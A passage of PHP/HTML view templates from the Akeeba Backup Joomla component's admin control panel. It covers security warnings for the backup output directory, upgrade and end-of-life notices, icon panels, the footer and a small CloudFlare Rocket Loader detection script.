use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

$cloudFlareTestFile = 'CLOUDFLARE::' . Uri::base() . 'media/com_akeebabackup/ControlPanel.min.js';
$cloudFlareTestFile .= '?' . ApplicationHelper::getHash(AKEEBABACKUP_VERSION . AKEEBABACKUP_DATE);

$token = Factory::getApplication()->getFormToken();
?>
<?php // Configuration Wizard pop-up ?>
<?php if($this->promptForConfigurationwizard && !defined('AKEEBADEBUG')): ?>
	<?= $this->loadAnyTemplate('Configuration/confwiz_modal') ?>
<?php endif ?>

<?php // Potentially web accessible output directory ?>
<!--
Oh, hi there! It looks like you got curious and are peeking around your browser's developer tools – or just the
source code of the page that loaded on your browser. Cool! May I explain what we are seeing here?

Just to let you know, the next three DETAILS (outDirSystem, insecureOutputDirectory and missingRandomFromFilename) are
HIDDEN and their existence doesn't mean that your site has an insurmountable security issue. To the contrary.
Whenever Akeeba Backup detects that the backup output directory is under your site's root it will CHECK its security
i.e. if it's really accessible over the web. This check is performed with an AJAX call to your browser so if it
takes forever or gets stuck you won't see a frustrating blank page in your browser. If AND ONLY IF a problem is
detected said JavaScript will display one of the following DIVs, depending on what is applicable.

So, to recap. These hidden DIVs? They don't indicate a problem with your site. If one becomes visible then – and
ONLY then – should you do something about it, as instructed. But thank you for being curious. Curiosity is how you
get involved with and better at web development. Stay curious!
-->
<?php // Web accessible output directory that coincides with or is inside in a CMS system folder ?>
<details class="alert alert-danger" id="outDirSystem" style="display: none">
	<summary class="h3 fs-3 m-0 p-0 text-danger">
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INVALID') ?>
	</summary>
	<p>
		<?= Text::sprintf('COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_LISTABLE', realpath($this->getModel()->getOutputDirectory())) ?>
	</p>
	<p>
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM') ?>
	</p>
	<p>
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM_FIX') ?>
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_DELETEORBEHACKED') ?>
	</p>
</details>

<?php // Output directory can be listed over the web ?>
<details class="alert alert-<?= $this->hasOutputDirectorySecurityFiles ? 'danger' : 'warning' ?>" id="insecureOutputDirectory" style="display: none">
	<summary class="h3 fs-3 m-0 p-0 text-<?= $this->hasOutputDirectorySecurityFiles ? 'danger' : 'body' ?>">
		<?php if ($this->hasOutputDirectorySecurityFiles): ?>
			<?= Text::_('COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_UNFIXABLE') ?>
		<?php else: ?>
			<?= Text::_('COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE') ?>
		<?php endif ?>
	</summary>
	<p>
		<?= Text::sprintf('COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_LISTABLE', realpath($this->getModel()->getOutputDirectory())) ?>
	</p>
	<?php if (!$this->hasOutputDirectorySecurityFiles): ?>
	<p>
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_CLICKTHEBUTTON') ?>
	</p>
	<p>
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_SECURITYFILES') ?>
	</p>

	<form action="<?= Route::_('index.php?option=com_akeebabackup&task=Controlpanel.fixOutputDirectory') ?>" method="POST">
		<input type="hidden" name="option" value="com_akeebabackup">
		<input type="hidden" name="<?= $token ?>" value="1">

		<button type="submit" class="btn btn-success w-100">
			<span class="fa fa-hammer"></span>
			<?= Text::_('COM_AKEEBABACKUP_CPANEL_BTN_FIXSECURITY') ?>
		</button>
	</form>
	<?php else: ?>
	<p>
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_TRASHHOST') ?>
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_DELETEORBEHACKED') ?>
	</p>
	<?php endif ?>
</details>

<?php // Output directory cannot be listed over the web but I can download files ?>
<details class="alert alert-warning" id="missingRandomFromFilename" style="display: none">
	<summary class="h3 fs-3 m-0 p-0">
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE_ALT') ?>
	</summary>
	<p>
		<?= Text::sprintf('COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FILEREADABLE', realpath($this->getModel()->getOutputDirectory())) ?>
	</p>
	<p>
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_CLICKTHEBUTTON') ?>
	</p>
	<p>
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_RANDOM') ?>
	</p>

	<form action="<?= Route::_('index.php?option=com_akeebabackup&task=Controlpanel.addRandomToFilename') ?>" method="POST" class="akeeba-form--inline">
		<?= HTMLHelper::_('form.token') ?>

		<button type="submit" class="btn btn-success w-100">
			<span class="fa fa-hammer"></span>
			<?= Text::_('COM_AKEEBABACKUP_CPANEL_BTN_FIXSECURITY') ?>
		</button>
	</form>
</details>


<?php // mbstring warning ?>
<?php if(!$this->checkMbstring): ?>
    <details class="alert alert-error">
		<summary class="h4 fs-4 m-0 p-0 text-danger">
			<?= Text::_('COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_TITLE') ?>
		</summary>
		<p>
			<?= Text::sprintf('COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_BODY', PHP_VERSION) ?>
		</p>
    </details>
<?php endif ?>

<?php // Front-end backup secret word reminder ?>
<?php if(!empty($this->frontEndSecretWordIssue)): ?>
    <details class="alert alert-danger alert-dismissible">
        <summary class="h3 fs-3 m-0 p-0 text-danger">
			<?= Text::_('COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_HEADER') ?>
		</summary>
        <p><?= Text::_('COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_INTRO') ?></p>
        <p><?= $this->frontEndSecretWordIssue ?></p>
        <p>
			<?= Text::_('COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_JOOMLA') ?>
            <?= Text::sprintf('COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_COMMON', $this->newSecretWord) ?>
        </p>
        <p>
            <a class="btn btn-success btn-lg"
               href="index.php?option=com_akeebabackup&view=Controlpanel&task=resetSecretWord&<?= $token ?>=1">
                <span class="fa fa-sync"></span>
				<?= Text::_('COM_AKEEBABACKUP_CPANEL_BTN_FESECRETWORD_RESET') ?>
            </a>
        </p>
    </details>
<?php endif ?>

<?php // Wrong media directory permissions ?>
<?php if(!$this->areMediaPermissionsFixed): ?>
    <details id="notfixedperms" class="alert alert-danger alert-dismissible">
        <summary class="h3 fs-3 m-0 p-0 text-danger">
	        <?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L1') ?>
			<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>"></button>
		</summary>
        <p><?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L2') ?></p>
        <ol>
            <li><?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3A') ?></li>
            <li><?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3B') ?></li>
        </ol>
        <p><?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L4') ?></p>
    </details>
<?php endif ?>

<?php // You need to enter your Download ID ?>
<?php if($this->needsDownloadID):
	$updateSiteEditUrl = Route::_('index.php?option=com_installer&task=updatesite.edit&update_site_id=' . $this->updateSiteId); ?>
	<details class="alert alert-info">
		<summary class="h3 fs-3 m-0 p-0 text-info">
			<?= Text::_('COM_AKEEBABACKUP_CPANEL_MSG_MUSTENTERDLID') ?>
		</summary>
		<p><?= Text::sprintf('COM_AKEEBABACKUP_LBL_CPANEL_NEEDSDLID','https://www.akeeba.com/download/official/add-on-dlid.html') ?></p>
		<p>
			<?= Text::sprintf('COM_AKEEBABACKUP_CPANEL_MSG_WHERETOENTERDLID', $updateSiteEditUrl) ?>
		</p>
		<p class="text-muted">
			<?= Text::_('COM_AKEEBABACKUP_CPANEL_MSG_JOOMLABUGGYUPDATES') ?>
		</p>
	</details>
<?php endif ?>

<?php // You have CORE; you need to upgrade, not just enter a Download ID ?>
<?php if($this->coreWarningForDownloadID): ?>
    <details class="alert alert-warning">
		<summary class="h3 fs-3 m-0 p-0">
			<?= Text::_('COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_HEAD') ?>
		</summary>
		<p>
			<?= Text::sprintf('COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_BODY','http://akee.ba/abcoretopro') ?>
		</p>
    </details>
<?php endif ?>

<?php // Upgrade from Akeeba Backup 7 or 8? ?>
<?php if ($this->canUpgradeFromAkeebaBackup8): ?>
	<div class="alert alert-info alert-dismissible">
		<h3>
			<?= Text::_('COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_HEAD') ?>
			<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>"></button>
		</h3>
		<p>
			<?= Text::_('COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BODY') ?>
		</p>
		<p>
			<a class="btn btn-primary btn-lg"
			   href="<?= Route::_('index.php?option=com_akeebabackup&view=Upgrade') ?>"
			>
				<span class="fa fa-hat-wizard"></span>
				<?= Text::_('COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BTN') ?>
			</a>
		</p>
	</div>
<?php elseif(!empty($this->akeebaBackup8PackageId)): ?>
	<div class="alert alert-info alert-dismissible">
		<h3>
			<?= Text::_('COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_HEAD') ?>
			<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>"></button>
		</h3>
		<p>
			<?= Text::_('COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BODY') ?>
		</p>
		<p class="small">
			<?= Text::_('COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_NOTE') ?>
		</p>
		<p>
			<a class="btn btn-primary btn-lg"
			   href="<?= Uri::base() ?>index.php?option=com_installer&view=Manage&filter[search]=id:<?= $this->akeebaBackup8PackageId ?>"
			>
				<span class="fa fa-trash"></span>
				<?= Text::_('COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_BTN') ?>
			</a>
			<a class="btn btn-warning btn-sm"
			   href="<?= Route::_('index.php?option=com_akeebabackup&view=Upgrade') ?>"
			>
				<span class="fa fa-hat-wizard"></span>
				<?= Text::_('COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BTN') ?>
			</a>
		</p>
	</div>

<?php endif; ?>

<?php // Warn about CloudFlare Rocket Loader ?>
<details class="alert alert-warning" style="display: none;" id="cloudFlareWarn">
    <summary class="h4 fs-4 m-0 p-0">
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN')?>
	</summary>
    <p><?= Text::sprintf('COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN1', 'https://support.cloudflare.com/hc/en-us/articles/200169456-Why-is-JavaScript-or-jQuery-not-working-on-my-site-') ?></p>
</details>
<?php
/**
 * DO NOT REMOVE THE ATTRIBUTES.
 *
 * This is a specialised test which looks for CloudFlare's completely broken RocketLoader feature and warns the user
 * about it.
 */

$js = <<< JS
window.addEventListener('DOMContentLoaded', function() {
	var test = localStorage.getItem('$cloudFlareTestFile');
	if (test)
	{
		document.getElementById("cloudFlareWarn").style.display = "block";
	}
});

JS;

$this->getDocument()->getWebAssetManager()->addInlineScript($js, [], [
		'type' => 'text/javascript',
		'data-cfasync' => 'true'
])
?>PK     \     *  tmpl/controlpanel/icons_includeexclude.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Component\AkeebaBackup\Administrator\View\Controlpanel\HtmlView */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>

<div class="card mb-2">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_HEADER_INCLUDEEXCLUDE') ?>
	</h3>

	<div class="card-body">

		<div class="alert alert-info small mt-0 mb-2">
			<span class="fa fa-fw fa-info-circle" aria-hidden="true"></span>
			<?= Text::_('COM_AKEEBABACKUP_CPANEL_LBL_INCLUDEEXCLUDE_CALLOUT') ?>
		</div>

		<div class="akeeba-cpanel-container d-flex flex-row flex-wrap align-items-stretch">
			<?php if(AKEEBABACKUP_PRO): ?>
				<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-success border-0" style="width: 10em"
				   href="index.php?option=com_akeebabackup&view=Multipledatabases">
					<div class="bg-success text-white d-block text-center p-3 h2">
						<span class="fa fa-database"></span>
					</div>
					<span>
						<?= Text::_('COM_AKEEBABACKUP_MULTIDB') ?>
					</span>
				</a>

				<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-success border-0" style="width: 10em"
				   href="index.php?option=com_akeebabackup&view=Includefolders">
					<div class="bg-success text-white d-block text-center p-3 h2">
						<span class="fa fa-folder-plus"></span>
					</div>
					<span>
						<?= Text::_('COM_AKEEBABACKUP_INCLUDEFOLDER') ?>
					</span>
				</a>
			<?php endif ?>

			<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-danger border-0" style="width: 10em"
			   href="index.php?option=com_akeebabackup&view=Databasefilters">
				<div class="bg-danger text-white d-block text-center p-3 h2">
					<span class="fa fa-table"></span>
				</div>
				<span>
					<?= Text::_('COM_AKEEBABACKUP_DBFILTER') ?>
				</span>
			</a>

			<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-danger border-0" style="width: 10em"
			   href="index.php?option=com_akeebabackup&view=Filefilters">
				<div class="bg-danger text-white d-block text-center p-3 h2">
					<span class="fa fa-folder-minus"></span>
				</div>
				<span>
					<?= Text::_('COM_AKEEBABACKUP_FILEFILTERS') ?>
				</span>
			</a>

			<?php if(AKEEBABACKUP_PRO): ?>
				<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-danger border-0" style="width: 10em"
				   href="index.php?option=com_akeebabackup&view=Regexdatabasefilters">
					<div class="bg-danger text-white d-block text-center p-3 h2">
						<span class="fa fa-clipboard"></span>
					</div>
					<span>
						<?= Text::_('COM_AKEEBABACKUP_REGEXDBFILTERS') ?>
					</span>
				</a>

				<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-danger border-0" style="width: 10em"
				   href="index.php?option=com_akeebabackup&view=Regexfilefilters">
					<div class="bg-danger text-white d-block text-center p-3 h2">
						<span class="fa fa-folder"></span>
					</div>
					<span>
						<?= Text::_('COM_AKEEBABACKUP_REGEXFSFILTERS') ?>
					</span>
				</a>
			<?php endif ?>

		</div>
	</div>
</div>
PK     \U    +  tmpl/controlpanel/icons_troubleshooting.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Component\AkeebaBackup\Administrator\View\Controlpanel\HtmlView */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="card mb-2">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_HEADER_TROUBLESHOOTING')?>
	</h3>

	<div class="card-body">
		<div class="akeeba-cpanel-container d-flex flex-row flex-wrap align-items-stretch">
			<?php if($this->permissions['backup']): ?>
				<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-primary border-0" style="width: 10em"
				   href="index.php?option=com_akeebabackup&view=Log">
					<div class="bg-primary text-white d-block text-center p-3 h2">
						<span class="fa fa-search"></span>
					</div>
					<span>
						<?= Text::_('COM_AKEEBABACKUP_LOG') ?>
					</span>
				</a>
			<?php endif ?>

			<?php if(AKEEBABACKUP_PRO && $this->permissions['configure']): ?>
				<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-primary border-0" style="width: 10em"
				   href="index.php?option=com_akeebabackup&view=Alice">
					<div class="bg-primary text-white d-block text-center p-3 h2">
						<span class="fa fa-briefcase-medical"></span>
					</div>
					<span>
						<?= Text::_('COM_AKEEBABACKUP_ALICE') ?>
					</span>
				</a>
			<?php endif ?>
		</div>
	</div>
</div>
PK     \       tmpl/controlpanel/upgrade.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Component\AkeebaBackup\Administrator\View\Controlpanel\HtmlView */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

// Only show in the Core version with a 10% probability
if (AKEEBABACKUP_PRO) return;

// Only show if it's at least 15 days since the last time the user dismissed the upsell
if (time() - $this->lastUpsellDismiss < 1296000) return;

?>
<div class="card my-4 border border-info">
	<h3 class="card-header bg-info text-white">
		<span class="fa fa-star"></span>
		<?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_HEAD_PROUPSELL') ?>
	</h3>

	<div class="card-body">
		<p>
			<?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_1') ?>
		</p>

		<p>
			<?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_2') ?>
		</p>

		<div class="mb-2 text-center">
			<a href="https://www.akeeba.com/landing/akeeba-backup.html"
			   class="btn btn-info btn-lg">
				<span class="icon-akeeba"></span>
				<?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_BTN_LEARNMORE') ?>
			</a>


			<a href="<?= Route::_('index.php?option=com_akeebabackup&view=Controlpanel&task=dismissUpsell') ?>"
			   class="btn btn-sm btn-outline-danger m-2">
				<span class="fa fa-bell"></span>
				<?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_BTN_HIDE') ?>
			</a>
		</div>
	</div>
</div>
PK     \^\K       tmpl/controlpanel/joomla_eol.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

?>
<?php if (time() > 1760475600): ?>
	<details class="alert alert-danger">
		<summary class="alert-heading h3">Joomla! 4 has reached End of Service</summary>
		<p>
			Joomla! 4 became End of Service on October 15th, 2025.
		</p>
		<p>
			Our software for Joomla! 4 is also End of Life. We will no longer provide any updates or support.
		</p>
		<p>
			Kindly note that we started showing these notices since October 15th, 2023 — two years before the planned End of Life of our software for Joomla! 4.
		</p>
	</details>
<?php elseif (time() > 1728939600): ?>
	<details class="alert alert-warning">
		<summary class="alert-heading h3">Joomla! 4 is approaching End of Service</summary>
		<p>
			Joomla! 4 is currently in security–only maintenance. It will become End of Service on October 15th, 2025.
		</p>
		<p>
			Our software for Joomla! 4 is also in security-only maintenance. We only provide security updates and limited support for it until October 15th, 2025.
		</p>
		<p>
			<strong>You need to update your site to Joomla! 5 as soon as possible.</strong> We will not provide any updates or support after October 15th, 2025. Moreover, we do not guarantee an update path to Joomla! 5 and beyond will exist after October 15th, 2025.
		</p>
	</details>
<?php elseif(time() > 1697317200): ?>
	<details class="alert alert-info">
		<summary class="alert-heading h3">Joomla! 4 is approaching Security Maintenance</summary>
		<p>
			Joomla! 4 will enter security–only maintenance on October 15th, 2024. It will become End of Service on October 15th, 2025.
		</p>
		<p>
			Will provide full support and updates for our Joomla! 4 software until October 15th, 2024. From then until October 15th, 2025 we will only provide security updates and limited support. We will not provide any updates or support after October 15th, 2025.
		</p>
		<p>
			We urge you to upgrade your site to Joomla! 5 before October 15th, 2024. Please note that we do not guarantee an update path to Joomla! 5 and beyond after October 15th, 2025.
		</p>
	</details>
<?php endif; ?>
PK     \v      tmpl/controlpanel/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Component\AkeebaBackup\Administrator\View\Controlpanel\HtmlView */

// Protect from unauthorized access
use Joomla\CMS\Component\ComponentHelper;

defined('_JEXEC') || die();

?>

<?= $this->loadAnyTemplate('Controlpanel/warnings') ?>

<?php // Main area ?>
<div class="container">
	<div class="row">
		<?php // LEFT COLUMN (66% desktop width) ?>
		<div class="col col-12 col-lg-8">
			<?php // Active profile switch ?>
			<?= $this->loadAnyTemplate('Controlpanel/profile') ?>

			<?php //  One Click Backup icons ?>
			<?php if( ! (empty($this->quickIconProfiles)) && $this->permissions['backup']): ?>
				<?= $this->loadAnyTemplate('Controlpanel/oneclick') ?>
			<?php endif ?>

			<?php // Web Push ?>
			<?php
			if (ComponentHelper::getParams('com_akeebabackup')->get('push_preference') === 'webpush') {
				echo $this->loadAnyTemplate('Controlpanel/webpush');
			}
			?>

			<?php //  Basic operations ?>
			<?= $this->loadAnyTemplate('Controlpanel/icons_basic') ?>

			<?php //  Core Upgrade ?>
			<?= $this->loadAnyTemplate('Controlpanel/upgrade') ?>

			<?php //  Troubleshooting ?>
			<?= $this->loadAnyTemplate('Controlpanel/icons_troubleshooting') ?>

			<?php //  Advanced operations ?>
			<?= $this->loadAnyTemplate('Controlpanel/icons_advanced') ?>

			<?php //  Include / Exclude data ?>
			<?php if($this->permissions['configure']): ?>
				<?= $this->loadAnyTemplate('Controlpanel/icons_includeexclude') ?>
			<?php endif ?>
		</div>
		<?php //  RIGHT COLUMN (33% desktop width) ?>
		<div class="col-12 col-lg-4">
			<?php //  Status Summary ?>
			<?= $this->loadAnyTemplate('Controlpanel/sidebar_status') ?>

			<?php //  Backup stats ?>
			<?= $this->loadAnyTemplate('Controlpanel/sidebar_backup') ?>
		</div>
	</div>

	<div class="row">
		<div class="col">
			<?php //  Footer ?>
			<?= $this->loadAnyTemplate('Controlpanel/footer') ?>
		</div>
	</div>
</div>PK     \9 A  A    tmpl/controlpanel/footer.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Component\AkeebaBackup\Administrator\View\Controlpanel\HtmlView */

// Protect from unauthorized access
defined('_JEXEC') || die();

?>
<div class="akeebabackup-cpanel-footer mt-3 p-3 bg-light border-top border-4 d-flex flex-column">
	<p class="text-muted">
		Copyright 2006-<?= date('Y') ?> <a href="https://www.akeeba.com">Akeeba Ltd</a>. All legal rights reserved.
		<br/>
		Akeeba Backup is Free Software and is distributed under the terms of the
		<a href="http://www.gnu.org/licenses/gpl-3.0.html">GNU General Public License</a>, version 3 or –
		at your option - any later version.
	</p>

	<?php if(AKEEBABACKUP_PRO != 1): ?>
	<p>
			If you use Akeeba Backup Core, please post a rating and a review at the
			<a href="https://extensions.joomla.org/extensions/extension/access-a-security/site-security/akeeba-backup/">Joomla! Extensions Directory</a>.
	</p>
	<?php endif; ?>
</div>
PK     \_+j  j  $  tmpl/controlpanel/icons_advanced.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Component\AkeebaBackup\Administrator\View\Controlpanel\HtmlView */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

// All of the buttons in this panel require the Configure privilege
if (!$this->permissions['configure'])
{
	return;
}

if (!AKEEBABACKUP_PRO)
{
	return;
}
?>
<div class="card mb-2">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_HEADER_ADVANCED') ?>
	</h3>

	<div class="card-body">
		<div class="akeeba-cpanel-container d-flex flex-row flex-wrap align-items-stretch">
			<?php if($this->permissions['configure']): ?>
				<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-primary border-0" style="width: 10em"
				   href="index.php?option=com_akeebabackup&view=Schedule">
					<div class="bg-primary text-white d-block text-center p-3 h2">
						<span class="fa fa-calendar"></span>
					</div>
					<span>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE') ?>
				</span>
				</a>
			<?php endif ?>

			<?php if($this->permissions['configure']): ?>
				<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-warning text-dark border-0" style="width: 10em"
				   href="index.php?option=com_akeebabackup&view=Discover">
					<div class="bg-warning d-block text-center p-3 h2">
						<span class="fa fa-file-import"></span>
					</div>
					<span>
						<?= Text::_('COM_AKEEBABACKUP_DISCOVER') ?>
					</span>
				</a>
			<?php endif ?>

			<?php if($this->permissions['configure']): ?>
				<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-warning text-dark border-0" style="width: 10em"
				   href="index.php?option=com_akeebabackup&view=S3import">
					<div class="bg-warning d-block text-center p-3 h2">
						<span class="fa fa-cloud-download-alt"></span>
					</div>
					<span>
					<?= Text::_('COM_AKEEBABACKUP_S3IMPORT') ?>
				</span>
				</a>
			<?php endif ?>
		</div>
	</div>
</div>PK     \wN~  ~  (  tmpl/controlpanel/warning_phpversion.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2022 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Component\AkeebaBackup\Administrator\View\Controlpanel\HtmlView */

// Protect from unauthorized access
defined('_JEXEC') || die();

// Obsolete PHP version warning
echo $this->loadAnyTemplate('commontemplates/phpversion_warning', true, [
	'softwareName'          => 'Akeeba Backup',
	'class_priority_low'    => 'alert alert-info',
	'class_priority_medium' => 'alert alert-warning',
	'class_priority_high'   => 'alert alert-danger',
]);PK     \_'=x  x    tmpl/controlpanel/default.xmlnu [        <?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<metadata>
	<layout title="COM_AKEEBABACKUP_VIEW_CPANEL_TITLE">
		<message>
			<![CDATA[COM_AKEEBABACKUP_VIEW_CPANEL_DESC]]>
		</message>
	</layout>
</metadata>
PK     \#  #  $  tmpl/controlpanel/sidebar_backup.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Component\AkeebaBackup\Administrator\View\Controlpanel\HtmlView */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="card mb-2">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_BACKUP_STATS') ?>
	</h3>

	<div class="card-body">
		<?= $this->latestBackupCell ?>
	</div>
</div>
PK     \
  
  $  tmpl/controlpanel/sidebar_status.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Component\AkeebaBackup\Administrator\View\Controlpanel\HtmlView */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="card mb-2">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_LABEL_STATUSSUMMARY') ?>
	</h3>

	<div class="card-body">
        <?php // Backup status summary ?>
        <?= $this->statusCell ?>

		<?php // Warnings ?>
        <?php if($this->countWarnings): ?>
            <div class="akeebabackup-engine-warnings-container">
                <?= $this->detailsCell ?>
            </div>
            <hr />
        <?php endif ?>

        <?php // Version ?>
        <p class="ak_version">
			<strong><?= Text::_('COM_AKEEBABACKUP_' . (AKEEBABACKUP_PRO ? 'PRO' : 'CORE')) ?></strong>
			<?= AKEEBABACKUP_VERSION ?>
			<span class="text-muted">
				(<?= AKEEBABACKUP_DATE ?>)
			</span>
        </p>

		<div class="d-flex flex-column">
			<?php // Changelog ?>
			<button type="button"
					id="btnchangelog" class="btn btn-outline-primary mb-2 me-2"
					data-bs-toggle="modal" data-bs-target="#akeeba-changelog">
				<span class="fa fa-clipboard-check"></span>
				CHANGELOG
			</button>

			<?php // Donation CTA ?>
			<?php if(!AKEEBABACKUP_PRO): ?>
				<a
						href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=KDVQPB4EREBPY&source=url"
						class="btn btn-outline-success mb-2 me-2">
					<span class="fa fa-donate"></span>
					Donate via PayPal
				</a>
			<?php endif ?>

			<?php // Pro upsell ?>
			<?php if(!AKEEBABACKUP_PRO && (time() - $this->lastUpsellDismiss < 1296000)): ?>
				<a href="https://www.akeeba.com/landing/akeeba-backup.html"
				   class="btn btn-sm btn-outline-dark mb-2 me-2">
					<span class="icon-akeeba"></span>
					<?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_BTN_LEARNMORE') ?>
				</a>
